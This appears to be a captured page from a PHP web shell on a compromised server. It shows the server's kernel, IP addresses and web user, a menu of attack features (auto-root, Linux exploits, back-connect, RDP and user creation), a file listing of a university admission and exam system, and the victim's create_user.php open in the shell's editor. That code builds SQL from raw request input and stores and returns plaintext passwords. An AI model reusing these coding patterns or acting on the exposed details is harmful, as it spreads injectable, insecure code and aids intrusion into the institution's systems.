Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.34.36
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
admission /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
admLeadReport.php
1.67
KB
-rw-rw-r--
adm_admin.php
75.41
KB
-rw-r--r--
adm_master.php
23.4
KB
-rw-r--r--
adm_register.php
133.02
KB
-rw-r--r--
adm_session_start.php
899
B
-rw-r--r--
app.php
416
B
-rwxr-xr-x
callCandMob.php
4.72
KB
-rw-r--r--
cappcontext.php
4.58
KB
-rw-rw-r--
constants.php
818
B
-rw-rw-r--
coutput.php
1.75
KB
-rw-rw-r--
create_user.php
45.14
KB
-rw-rw-r--
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
cuser1.php
3.41
KB
-rwxr-xr-x
customappcontext.php
2.35
KB
-rwxr-xr-x
dailyValuation.php
1.6
KB
-rwxr-xr-x
dashboard.php
3
KB
-rwxr-xr-x
dashboardNew.php
31.05
KB
-rw-r--r--
database.php
744
B
-rw-rw-r--
dateMaster.php
2.83
KB
-rwxr-xr-x
dateupdate.php
8.88
KB
-rw-r--r--
define_heads.php
1.89
KB
-rw-r--r--
degcollege.php
7.32
KB
-rwxr-xr-x
deggrp.php
13.84
KB
-rwxr-xr-x
deggrpNew.php
4.04
KB
-rw-r--r--
degree.php
3.34
KB
-rwxr-xr-x
degreeEntry.php
5.46
KB
-rwxr-xr-x
degreeLoad.php
12.26
KB
-rw-r--r--
dispatchmarkscard.php
19.14
KB
-rwxr-xr-x
drawer.php
552
B
-rw-r--r--
dropDownOptions.php
400
B
-rwxr-xr-x
eGovSignin.php
4.22
KB
-rwxr-xr-x
error_log.php
749
B
-rwxr-xr-x
examAttendance.php
23.9
KB
-rwxr-xr-x
examCntr.php
6.73
KB
-rwxr-xr-x
examCntrdurexm.php
4.05
KB
-rwxr-xr-x
examHappeningCentre.php
19.76
KB
-rwxr-xr-x
examTimetable.php
26.1
KB
-rwxr-xr-x
examTimetableErrorReport.php
7.77
KB
-rwxr-xr-x
exam_app_acknowledge.php
8.41
KB
-rw-r--r--
examapprpt.php
2.9
KB
-rw-r--r--
examattendanceunivadmin.php
19.73
KB
-rwxr-xr-x
exceptionhandler.php
236
B
-rwxr-xr-x
fee-str.php
17.08
KB
-rwxr-xr-x
fee_summary_report.php
43.28
KB
-rwxr-xr-x
fee_summary_report_090120202.p...
43.79
KB
-rwxr-xr-x
finalQp.php
11.07
KB
-rw-r--r--
financeMenuItems.php
1.51
KB
-rw-r--r--
freezeTimetable.php
2.98
KB
-rwxr-xr-x
getBoards.php
1.34
KB
-rwxr-xr-x
getDegSemList.php
7.75
KB
-rwxr-xr-x
getFaculty.php
602
B
-rwxr-xr-x
getMenus.php
3.92
KB
-rwxr-xr-x
getNotifications.php
1.13
KB
-rwxr-xr-x
getPaymentTypes.php
1.77
KB
-rw-rw-r--
getQPdet.php
7
KB
-rw-r--r--
getRvPcReport.php
4.99
KB
-rwxr-xr-x
getStudentRegisteredReport.php
8.91
KB
-rw-r--r--
getUnivName.php
516
B
-rw-r--r--
get_result_table.php
109
B
-rw-r--r--
getdeggrpvalcntr.php
1.88
KB
-rw-r--r--
getinwordstatus.php
3.46
KB
-rw-r--r--
getpgetSavedData.php
4.29
KB
-rwxr-xr-x
getrvpc.php
8.89
KB
-rw-r--r--
getstuddetforrt.php
5.85
KB
-rw-r--r--
getunivs.php
816
B
-rwxr-xr-x
groupMessages.php
9.1
KB
-rwxr-xr-x
grv.php
12.12
KB
-rwxr-xr-x
holidayListing.php
696
B
-rwxr-xr-x
holidayMaster.php
2.11
KB
-rwxr-xr-x
hostNotification.php
1.61
KB
-rwxr-xr-x
htdwonload.php
7.5
KB
-rwxr-xr-x
iNeedHelp.php
3.02
KB
-rwxr-xr-x
iamarkssummary.php
6.25
KB
-rw-r--r--
insertOrEditCollege.php
21.88
KB
-rwxr-xr-x
inward.php
3.09
KB
-rwxr-xr-x
json.php
33.2
KB
-rwxr-xr-x
jwt.php
13.16
KB
-rwxr-xr-x
kswuomr.php
2.8
KB
-rw-r--r--
lastDateUpdate.php
3.95
KB
-rwxr-xr-x
lastDateUpdateCorrection.php
4.81
KB
-rw-r--r--
ledgerview.php
3.2
KB
-rwxr-xr-x
loadclgdettab.php
2.26
KB
-rw-r--r--
loadclgnm.php
1.3
KB
-rw-r--r--
loaddegdet.php
1.45
KB
-rw-r--r--
loaddegreedettab.php
2.49
KB
-rw-r--r--
loadupdclgnm.php
741
B
-rw-r--r--
login.php
1.72
KB
-rwxr-xr-x
loginDet.php
1.04
KB
-rw-r--r--
loginDetails.php
842
B
-rw-r--r--
loginattendance.php
2.21
KB
-rw-r--r--
marks_enter.php
5.74
KB
-rw-r--r--
marksentryupdate.php
4.78
KB
-rw-r--r--
marksmodreport.php
1.49
KB
-rw-r--r--
masQP.php
3.37
KB
-rwxr-xr-x
masterDegree.php
1.16
KB
-rw-r--r--
mcfverify.php
6.65
KB
-rw-r--r--
mpcmanage.php
2.57
KB
-rw-r--r--
mregistry.php
9.42
KB
-rwxr-xr-x
mregistry.php.orig
39.87
KB
-rwxr-xr-x
mregistry_01042021.php
45.75
KB
-rwxr-xr-x
mregistry_arun.php
18.94
KB
-rwxr-xr-x
mregistry_old.php
6.82
KB
-rwxr-xr-x
mregistry_old_03072020.php
33.09
KB
-rwxr-xr-x
mregistry_old_08052020.php
29.86
KB
-rwxr-xr-x
notificationPush.php
9.36
KB
-rwxr-xr-x
oldquestionpaper.php
4.87
KB
-rw-r--r--
omrqnentry.php
8.18
KB
-rw-r--r--
online-test.php
12.77
KB
-rwxr-xr-x
orderReportExcel.php
7.35
KB
-rw-r--r--
paymentReport.php
3.64
KB
-rwxr-xr-x
pgetDashboard.php
0
B
-rwxr-xr-x
pgprevmarks.php
13.41
KB
-rw-r--r--
photoCrop.php
5.57
KB
-rwxr-xr-x
practicalMarks.php
7.09
KB
-rw-r--r--
prbatchdet.php
3.26
KB
-rwxr-xr-x
prifreeze.php
3.11
KB
-rw-r--r--
pushmarks.php
1.18
KB
-rw-r--r--
pushnitification.php
8.1
KB
-rwxr-xr-x
pushnotif_ra.php
3.94
KB
-rwxr-xr-x
qpIndent.php
37.42
KB
-rwxr-xr-x
qpIndent_04032019.php
15.36
KB
-rwxr-xr-x
qpIndent_old.php
37.05
KB
-rwxr-xr-x
qp_dashboard.php
11.31
KB
-rw-r--r--
qp_issue.php
8.46
KB
-rw-r--r--
qp_setter.php
59.66
KB
-rw-r--r--
qp_setter_new.php
53.28
KB
-rw-r--r--
qpboardupdate.php
4.26
KB
-rw-r--r--
qpcrosscheck.php
11.96
KB
-rw-r--r--
qpindentstudlist.php
11.16
KB
-rw-r--r--
qpschemeupload.php
5.84
KB
-rw-r--r--
qpsetterteach.php
22.96
KB
-rw-r--r--
qpsummarynew.php
4.58
KB
-rw-r--r--
qptranlogin.php
1.64
KB
-rw-r--r--
qptranmenu.php
2.22
KB
-rw-r--r--
qpupload.php
8.11
KB
-rwxr-xr-x
qpupload_240621.php
6.49
KB
-rwxr-xr-x
rauspush.php
4.03
KB
-rw-r--r--
razorPayConfig.php
250
B
-rwxr-xr-x
reasonMaster.php
1.73
KB
-rwxr-xr-x
refund.php
2.68
KB
-rwxr-xr-x
register_rrit.php
28.44
KB
-rw-r--r--
releaseTimetable.php
4.73
KB
-rwxr-xr-x
reports_bkp.php
12.25
KB
-rwxr-xr-x
resultStats.php
4.69
KB
-rwxr-xr-x
result_pushnotif_bcu.php
2.33
KB
-rwxr-xr-x
result_pushnotif_bnu.php
2.33
KB
-rwxr-xr-x
result_pushnotif_dud.php
2.33
KB
-rwxr-xr-x
result_pushnotif_kus.php
2.33
KB
-rwxr-xr-x
result_pushnotif_rcub.php
2.33
KB
-rwxr-xr-x
resultdate.php
6.39
KB
-rw-r--r--
resultsApp.php
55
B
-rwxr-xr-x
results_new.php
31.65
KB
-rw-r--r--
resultstat.php
1.72
KB
-rw-r--r--
resultstatsrpt.php
13.82
KB
-rwxr-xr-x
retBatchDet.php
955
B
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
ruaspush.php
618
B
-rw-r--r--
rvMarksEntry.php
4.78
KB
-rwxr-xr-x
rvStatus.php
769
B
-rw-r--r--
rv_result_pushnotif_bcu.php
1.96
KB
-rwxr-xr-x
rvpc.php
1.76
KB
-rw-r--r--
rvrtReport.php
12.39
KB
-rwxr-xr-x
rvrt_Block.php
3.23
KB
-rw-r--r--
rvrtapp.php
22.11
KB
-rw-r--r--
rvrtblock.php
2.97
KB
-rw-r--r--
saveBKMCStdDet.php
2.22
KB
-rw-r--r--
saveBankDetails.php
1.54
KB
-rwxr-xr-x
saveBarcodeDeatils.php
2.87
KB
-rwxr-xr-x
saveDegSemDet.php
14.09
KB
-rwxr-xr-x
saveFinbkmh.php
2.1
KB
-rw-r--r--
savePGETApp.php
4.45
KB
-rwxr-xr-x
savePostNotification.php
2.94
KB
-rwxr-xr-x
scheduleqp.php
2.58
KB
-rw-r--r--
script.php
14.27
KB
-rwxr-xr-x
sdqpmenus.php
163
B
-rw-r--r--
searchregcode.php
5.17
KB
-rw-r--r--
selectFinalQpNew.php
4.69
KB
-rw-r--r--
sendConfMail.php
19.22
KB
-rwxr-xr-x
sendGridMail.php
1.72
KB
-rwxr-xr-x
sendOTP.php
5.51
KB
-rw-r--r--
sendOrder.php
12.33
KB
-rw-r--r--
sendnotification.php
0
B
-rwxr-xr-x
sendsms.php
11.83
KB
-rwxr-xr-x
sendsms_05092020.php
4.34
KB
-rwxr-xr-x
sendsms_15022019.php
6.66
KB
-rwxr-xr-x
sendsms_27012018.php
4.3
KB
-rwxr-xr-x
sendsmsapi.php
802
B
-rwxr-xr-x
sendzohomail.php
1.46
KB
-rw-r--r--
session_start.php
149
B
-rw-r--r--
session_start_rr.php
864
B
-rw-r--r--
sessionmaster.php
1.49
KB
-rw-r--r--
setDGExamTimetableReport.php
19.63
KB
-rwxr-xr-x
setDGExamTimetableReport_bcu_p...
11.51
KB
-rwxr-xr-x
setExamTimetable.php
5.01
KB
-rwxr-xr-x
setExamTimetableReport.php
9.84
KB
-rwxr-xr-x
settlement.php
9.06
KB
-rw-r--r--
sms-new.php
26.55
KB
-rw-r--r--
sms-notification.php
21.17
KB
-rwxr-xr-x
ssp_error_data.php
31.1
KB
-rwxr-xr-x
sspdata-auto-upload.php
11.12
KB
-rwxr-xr-x
sspdata.php
23.9
KB
-rwxr-xr-x
sspdata1.php
11.41
KB
-rw-r--r--
sspdata1_rcub.php
13.96
KB
-rw-r--r--
std_registrtion.php
1.4
KB
-rw-r--r--
studDoc.php
913
B
-rw-r--r--
studReg.php
1.64
KB
-rw-r--r--
stud_ack.php
9.89
KB
-rw-r--r--
stud_det.php
2.46
KB
-rw-r--r--
stud_payments.php
3.33
KB
-rw-rw-r--
student.php
26.71
KB
-rwxr-xr-x
studexamappblock.php
1.18
KB
-rw-r--r--
studymaterial.php
3.07
KB
-rwxr-xr-x
subject.php
2.42
KB
-rwxr-xr-x
subjectEntryScrn.php
8
KB
-rwxr-xr-x
subjectFreeze.php
4.91
KB
-rw-r--r--
sublisting.php
2.39
KB
-rw-r--r--
tdvsCreatePanel.php
1.26
KB
-rw-r--r--
tdvsQPteach.php
2.17
KB
-rw-r--r--
tdvsViewStatus.php
3.52
KB
-rw-r--r--
tdvs_Deviation.php
8.61
KB
-rw-r--r--
tdvs_batch.php
5.89
KB
-rw-r--r--
tdvs_createuser.php
6.5
KB
-rw-r--r--
tdvs_dashboard.php
3.58
KB
-rw-r--r--
tdvs_mail.php
5.93
KB
-rw-r--r--
tdvs_pergeval.php
11.55
KB
-rw-r--r--
tdvs_register.php
1.57
KB
-rw-r--r--
tdvs_saveRecieveQPCount.php
3.53
KB
-rwxr-xr-x
tdvs_saveScript.php
11.74
KB
-rw-r--r--
tdvs_script_cross_check.php
9.35
KB
-rw-r--r--
tdvs_stats.php
21.48
KB
-rw-r--r--
tdvs_subject.php
4.45
KB
-rw-r--r--
tdvs_subjectcreate.php
6.11
KB
-rw-r--r--
tdvs_teacher_valdet.php
2.87
KB
-rw-r--r--
tdvs_teacherpanel.php
3.38
KB
-rw-r--r--
tdvs_teachval.php
1.88
KB
-rw-r--r--
tdvs_teachwisevaldet.php
3.28
KB
-rw-r--r--
tdvs_valcenter.php
2.84
KB
-rw-r--r--
tdvs_verifyqppattern.php
1.03
KB
-rw-r--r--
tdvsdecoding.php
34.16
KB
-rw-r--r--
teachReport.php
5.27
KB
-rwxr-xr-x
teachValBill.php
990
B
-rwxr-xr-x
teachcoderange.php
1.71
KB
-rw-r--r--
teacherEmail.php
20.45
KB
-rw-r--r--
teacherEntry.php
67.04
KB
-rw-r--r--
teacherid.php
2
KB
-rw-r--r--
teachval.php
8.56
KB
-rwxr-xr-x
teachvaluationcount.php
21.07
KB
-rw-r--r--
teachworkapi.php
2.37
KB
-rwxr-xr-x
teachworksum.php
2.42
KB
-rwxr-xr-x
timetablesownload.php
9.98
KB
-rwxr-xr-x
timetablesownload_29062019.php
10.51
KB
-rwxr-xr-x
ttUpload.php
2.5
KB
-rwxr-xr-x
uChangeEmail.php
4.38
KB
-rwxr-xr-x
uChangeMobNum.php
5.17
KB
-rwxr-xr-x
uChangeRegNum.php
4.04
KB
-rwxr-xr-x
uDegPassCrit.php
1.32
KB
-rwxr-xr-x
uDeleteSpecificCollege.php
611
B
-rwxr-xr-x
uExamApplication.php
907
B
-rwxr-xr-x
uExamApplicationForm.php
30.97
KB
-rwxr-xr-x
uForgotPws.php
4.85
KB
-rwxr-xr-x
uGetDetailResult.php
2.17
KB
-rwxr-xr-x
uGetExamCenter.php
1.04
KB
-rwxr-xr-x
uGetResult.php
26.94
KB
-rwxr-xr-x
uGetResultSemester.php
896
B
-rwxr-xr-x
uGetSpecificCollege.php
1.43
KB
-rwxr-xr-x
uGrievances.php
2.97
KB
-rwxr-xr-x
uHallticket.php
5.33
KB
-rwxr-xr-x
uIAMarks.php
3.41
KB
-rwxr-xr-x
uINeedHelp.php
2.82
KB
-rwxr-xr-x
uInsertOrUpdateCollegeDetails....
2.42
KB
-rwxr-xr-x
uMenu_new.php
2.27
KB
-rwxr-xr-x
uNotification.php
3.1
KB
-rwxr-xr-x
uOldQuestionPaper.php
3.46
KB
-rwxr-xr-x
uPracticaltt.php
2.41
KB
-rwxr-xr-x
uProfile.php
1.27
KB
-rwxr-xr-x
uRegistration.php
16.86
KB
-rwxr-xr-x
uRevaluation.php
26.39
KB
-rwxr-xr-x
uRvAppStatus.php
2.42
KB
-rwxr-xr-x
uSubjectList.php
1.53
KB
-rwxr-xr-x
uSupport.php
1023
B
-rwxr-xr-x
uTheorytt.php
2.5
KB
-rwxr-xr-x
uansbookdet.php
2.85
KB
-rwxr-xr-x
uansbookdet0.php
11.83
KB
-rwxr-xr-x
uansbookupdate.php
1.29
KB
-rwxr-xr-x
ulogin.php
2.54
KB
-rwxr-xr-x
ultRoomDet.php
1.96
KB
-rw-r--r--
umenu.php
1.07
KB
-rwxr-xr-x
uniAttEntry.php
1.03
KB
-rw-r--r--
uniContctFrom.php
1.29
KB
-rwxr-xr-x
univRefund.php
9.81
KB
-rwxr-xr-x
unotification.php
3.1
KB
-rwxr-xr-x
upcomingnotification.php
4.55
KB
-rw-r--r--
updateIAMarks.php
1.42
KB
-rw-r--r--
updateRvPcChkList.php
1.13
KB
-rwxr-xr-x
update_dates.php
11.89
KB
-rw-r--r--
upload-sms-excel.php
3.58
KB
-rwxr-xr-x
uploadAnsBook.php
3.38
KB
-rwxr-xr-x
uploadCodeSlips.php
4.1
KB
-rw-r--r--
uploadData.php
6.24
KB
-rwxr-xr-x
uploadDummy.php
761
B
-rw-r--r--
uploadMCdetails.php
4.17
KB
-rw-r--r--
uploadMultipleFiles.php
3.99
KB
-rwxr-xr-x
uploadSSPData.php
5.9
KB
-rw-r--r--
uploadSSPData_bonf.php
11.86
KB
-rw-r--r--
upload_ans_book.php
5.25
KB
-rwxr-xr-x
upload_qp.php
1.85
KB
-rw-r--r--
upload_sms_file.php
7.94
KB
-rw-rw-r--
uploadbackup.php
5.16
KB
-rw-r--r--
uploadcorr_qp.php
4.74
KB
-rw-r--r--
uploadcorrdoc.php
4.09
KB
-rw-r--r--
uploadpwd.php
1.92
KB
-rw-r--r--
uploadqp.php
6.43
KB
-rw-r--r--
uploadqpMultipleFiles.php
678
B
-rw-r--r--
uploadscripts.php
333
B
-rw-r--r--
utils.php
4.19
KB
-rw-r--r--
uucmsdecoding.php
1.86
KB
-rw-r--r--
valuatordet.php
3.29
KB
-rwxr-xr-x
whatsup.php
14.77
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : create_user.php
<?php include("sendzohomail.php"); function save_CreateUser($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $name = $aobj_context->mobj_data["fullname"]; $emailid = $aobj_context->mobj_data["emailid"]; $password = $aobj_context->mobj_data["password"]; $mobileno = $aobj_context->mobj_data["mobileno"]; $fusertype = $aobj_context->mobj_data["fusertype"]; $fuserdeg = $aobj_context->mobj_data["fuserdeg"]; $fusercoll = $aobj_context->mobj_data["fusercoll"]; $fsavetype = $aobj_context->mobj_data["fsavetype"]; $fdeguser = explode(',', $fuserdeg); $fcolluser = explode(',', $fusercoll); if (in_array('All', $fcolluser)) { if (count($fcolluser) > 1) { $fcolluser = array_diff($fcolluser, ['All']); } } if (in_array('All', $fdeguser)) { if (count($fdeguser) > 1) { $fdeguser = array_diff($fdeguser, ['All']); } } $fcoll = implode('*',$fcolluser). "*"; $fdeg = implode('*',$fdeguser). "*"; if($fsavetype != "Edit"){ $query = "select fusername from adm_masuser where fusername='{$emailid}'"; $res = $aobj_context->pobj_db->GetAll($query); if(count($res) > 0){ $arr['msg'] = "Email Id already Exist"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } $query = "insert into adm_masuser(fname, fusername, fpassword, fmobileno,fusertype, fcollcode,fdegree,fdeleted) values('{$name}', '{$emailid}', '{$password}', '{$mobileno}','{$fusertype}', '{$fcoll}','{$fdeg}','F')"; }else{ $query = "update adm_masuser set fname = '{$name}',fmobileno = '{$mobileno}', fusertype = '{$fusertype}',fcollcode = '{$fcoll}',fdegree = '{$fdeg}' where fusername = '{$emailid}'"; } $res = $aobj_context->pobj_db->Execute($query); if($res){ $arr['msg'] = "User created cuccessfully"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); }else{ $arr['msg'] = "Failed to create user data"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } function uploadLeadExcelData($aobj_context){ require_once 'PHPExcel/Classes/PHPExcel/IOFactory.php'; $univcode = $aobj_context->mobj_data["univcode"]; $fdeggrp = $aobj_context->mobj_data["fdeggrp"]; $fdegreedata = $aobj_context->mobj_data["fdegree"]; $fcollcode = $aobj_context->mobj_data["fcollcode"]; $split = explode('-',$fdegreedata); $fdegree = $split[0]; $fadmyear = $split[1]; $file = $_FILES['file']['tmp_name']; $file_name = $_FILES['file']['name']; $user = $_SESSION['MOBILE']; $usercoll = $_SESSION['COLL']; if($usercoll != 'ALL*'){ $split = explode('*', $usercoll); $collexm = $split[0]; }else{ $collexm = $fcollcode; } $folderpath = $aobj_context->main_src."uploads/"; if(move_uploaded_file($file, 'uploads/'. $file_name)){ $file = $aobj_context->main_src.'uploads/'.$file_name; if(!file_exists($file)){ $data = "Upload failure. Upload file does not exist"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, -1, "failure"); return; }else{ $query1 = "drop table if exists tmplead"; $result1 = $aobj_context->pobj_db->Execute($query1); $query2 = "create table tmplead select * from adm_lead where 1=2"; $result2 = $aobj_context->pobj_db->Execute($query2); $query3 = "alter table tmplead add primary key(fleadid auto_increment)"; $result3 = $aobj_context->pobj_db->Execute($query3); $query4 = "alter table tmplead CHANGE fleadid fleadid int(11) NOT NULL AUTO_INCREMENT;"; $result4 = $aobj_context->pobj_db->Execute($query4); $csvFile = $file; $handle = fopen($csvFile, "r"); if ($handle === false) { die("Error opening file"); } $columns = ['fname', 'fmobile', 'femail','fleadsource', 'fdeggrp', 'fdegree', 'fadmyear', 'fcreateuser', 'fleadfilename', 'fcreateddate', 'ftype','finst']; $i=0; $j = 0; while (($data = fgetcsv($handle)) !== false) { $fname = sanitizeInput($data[0]); $fmobile = sanitizeInput($data[1]); $femail = sanitizeInput($data[2]); $fleadsource = sanitizeInput($data[3]); if($explode[0] != "'" && $explode[1] != " ''"){ if($i != 0){ $sql = "INSERT INTO tmplead (" . implode(", ", $columns) . ") VALUES ('{$fname}','{$fmobile}','{$femail}','{$fleadsource}','{$fdeggrp}','{$fdegree}','{$fadmyear}','{$user}', '{$file_name}', now(), 'Registered','{$collexm}')"; $result = $aobj_context->pobj_db->Execute($sql); $j++; } } $i++; } if($result){ $query4 = "update tmplead set femail = null where femail = ''"; $result4 = $aobj_context->pobj_db->Execute($query4); $query5 = "insert ignore into adm_lead select * from tmplead"; $result5 = $aobj_context->pobj_db->Execute($query5); if($result5){ unlink($file); $data = "Successfully Uploaded ".$j." leads"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"success"); return; }else{ $data = "Upload failure. Error while loading excel data to database"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } }else{ $data = "Upload failure. Error while loading excel data to database"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } } }; } function sanitizeInput($value) { $server = SERVERNAME; $username = USERNAME; $password = PASSWORD; $db = $aobj_context->databaseName; $conn = new mysqli($server, $username, $password, $db); if ($conn->connect_errorno) { die("Invalid MySQL connection"); } $retun = mysqli_real_escape_string($conn, $value); $conn->close(); return $retun; } function getStates($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $query = "select fid, fname from adm_state order by fname"; $result = $aobj_context->pobj_db->GetAll($query); if($result){ echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "success"); return; }else{ $data = "failed to get states"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, -1, "failure"); return; } } function getDistricts($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $stateid = $aobj_context->mobj_data["stateid"]; $statesplit = explode(',', $stateid); $statedet = ""; foreach($statesplit as $val){ if($val != '') $statedet.= "fstateid like '{$val}' or "; } $statedata = rtrim($statedet, ' or'); if($stateid == "" || $stateid == "null" || $stateid == "undefined"){ $cnd = ""; }else{ $cnd = "where ($statedata)"; }; $query = "select fid, fdistrict from adm_district $cnd"; $result = $aobj_context->pobj_db->GetAll($query); // var_dump($query);die(); if($result){ echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "success"); return; }else{ $data = "failed to get districts"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, -1, "failure"); return; } } function change_password($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $oldpassword = $aobj_context->mobj_data["oldpassword"]; $passwd = $aobj_context->mobj_data["passwd"]; $username = $_SESSION['MOBILE']; $query = "select fpassword from adm_masuser where fpassword = '{$oldpassword}' and fusername='{$username}'"; $result = $aobj_context->pobj_db->GetRow($query); if($result['fpassword'] === $oldpassword){ $upd = "update adm_masuser set fpassword = '{$passwd}' where fusername='{$username}'"; $res = $aobj_context->pobj_db->Execute($upd); if($res){ $data = "Password changed successfully"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, 0, "success"); return; }else{ $data = "failed to update password"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, -1, "failure"); return; } }else{ $data = "Entered old password is not valid"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, -1, "failure"); return; } } function getCollDet($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $fusertype = $aobj_context->mobj_data["fusertype"]; if($fusertype == 'CA'){ $query = "select distinct ifnull(fcollcode,'') as fcolldeg, ifnull(fcollname,'') as fnamedeg from college"; }else{ $query = "select distinct ifnull(fdegree,'') as fcolldeg, ifnull(FDESCPN, '') as fnamedeg from degree"; } $result = $aobj_context->pobj_db->GetAll($query); if($result){ echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "success"); return; }else{ $data = "No Data"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, -1, "failure"); return; } } function get_Degree($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $fcollcode = $aobj_context->mobj_data["fcollcode"]; $fcondcoll = $_SESSION['COLL']; $fdegcond = $_SESSION['DEGREE']; $collsplit = explode("*",$fcondcoll); $coldet = ""; foreach($collsplit as $val){ if($val != '') $coldet.= "c.fcollcode like '{$val}' or "; } $coldata = rtrim($coldet, ' or'); $degsplit = explode("*",$fdegcond); $degdet = ""; foreach($degsplit as $val){ if($val != '') $degdet.= "c.fdegree like '{$val}' or "; } $degdata = rtrim($degdet, ' or'); if($fcondcoll != '' && $fcondcoll != NULL && $fcondcoll != 'All*' && $fcollcode == "") $fcolcond = "and ($coldata)"; else if($fcollcode != "") $fcolcond = "and c.fcollcode = '{$fcollcode}'"; if($fdegcond != '' && $fdegcond != NULL && $fdegcond != 'All*') $fconddeg = "and ($degdata)"; $query = "select distinct c.fdegree,d.fdescpn from degree d,collcourse c, college g where d.fdegree = c.fdegree and c.fcollcode = g.fcollcode and d.fadmdeg = 'T' $fconddeg and fexamno = 'A' $fcolcond group by c.fdegree order by c.fdegree;"; $result = $aobj_context->pobj_db->GetAll($query); if($result){ echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "success"); return; }else{ $data = "failed to get degrees"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, -1, "failure"); return; } } function get_user($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $fcollcode = $aobj_context->mobj_data["fcollcode"]; $fuserid = $_SESSION['USERTYPE']; $username = $_SESSION['MOBILE']; $fcondcoll = $_SESSION['COLL']; $fdegcond = $_SESSION['DEGREE']; $collsplit = explode("*",$fcondcoll); $coldet = ""; foreach($collsplit as $val){ if($val != ''){ $coldet.= "fcollcode like '%{$val}%' or "; } } $coldata = rtrim($coldet, ' or'); $degsplit = explode("*",$fdegcond); $degdet = ""; foreach($degsplit as $val){ if($val != ''){ $degdet.= "fdegree like '%{$val}%' or "; } } $degdata = rtrim($degdet, ' or'); if($fcondcoll != '' && $fcondcoll != NULL && $fcondcoll != 'All*' && $fcollcode == '') $fcolcond = "and (fcollcode like '%All*%' or ".$coldata.")"; else if($fcollcode != "") $fcolcond = "and (fcollcode like '%All*%' or fcollcode like '%".$fcollcode."%')"; if($fdegcond != '' && $fdegcond != NULL && $fdegcond != 'All*') $fconddeg = "and(fdegree like '%All*%' or ".$degdata.")"; if($fuserid == 'NA'){ $cond = "and fusername = '{$username}'"; } $query = "select fusername, fname from adm_masuser where ifnull(fdeleted,'') <> 'T' $cond $fconddeg $fcolcond order by fname"; $result = $aobj_context->pobj_db->GetAll($query); if($result){ echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "success"); return; }else{ $data = "failed to get users"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, -1, "failure"); return; } } function getUserDet($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $usertype = $_SESSION["USERTYPE"]; $fcondcoll = $_SESSION['COLL']; $fdegcond = $_SESSION['DEGREE']; $collsplit = explode("*",$fcondcoll); $coldet = ""; foreach($collsplit as $val){ if($val != ''){ $coldet.= "fcollcode like '%{$val}%' or "; } } $coldata = rtrim($coldet, ' or'); $degsplit = explode("*",$fdegcond); $degdet = ""; foreach($degsplit as $val){ if($val != ''){ $degdet.= "fdegree like '%{$val}%' or "; } } $degdata = rtrim($degdet, ' or'); if($fcondcoll != '' && $fcondcoll != NULL && $fcondcoll != 'All*') $fcolcond = "and ".$coldata; if($fdegcond != '' && $fdegcond != NULL && $fdegcond != 'All*') $fconddeg = "and".$degdata; $query = "select fusercode,fname,fusername,fusertype,fmobileno,fcollcode,fdegree,fdeptcode,fleadasgn,fassign,fcallerid,fcond,forder,if(ifnull(fdeleted,'F') = 'T','F','T')as factiive from adm_masuser where ifnull(fusertype,'') <> 'AG' and ifnull(fdeleted,'F')='F' $fcolcond $fconddeg order by fname"; $result = $aobj_context->pobj_db->GetAll($query); // var_dump($query);die(); if($result){ echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "success"); return; }else{ $data = "failed to get users"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, -1, "failure"); return; } } function userPerDet($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $fuserid = $aobj_context->mobj_data["fuserid"]; $usertype = $_SESSION["USERTYPE"]; $que = "select * from adm_usertype where fusertype > (select fusertype from adm_usertype where ftypeshort = '{$usertype}')"; $res = $aobj_context->pobj_db->GetAll($que); $query = "select fname,fusername,fmobileno,fpassword,fusertype, ifnull(fcollcode,'All')as fcollcode, ifnull(fdegree,'All')as fdegree from adm_masuser where fusercode = '{$fuserid}'"; $result = $aobj_context->pobj_db->GetRow($query); if($result){ $arr['usertype'] = $res; $arr['data'] = $result; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); return; }else{ $data = "failed to get users"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, -1, "failure"); return; } } function stdchangepass($aobj_context){ 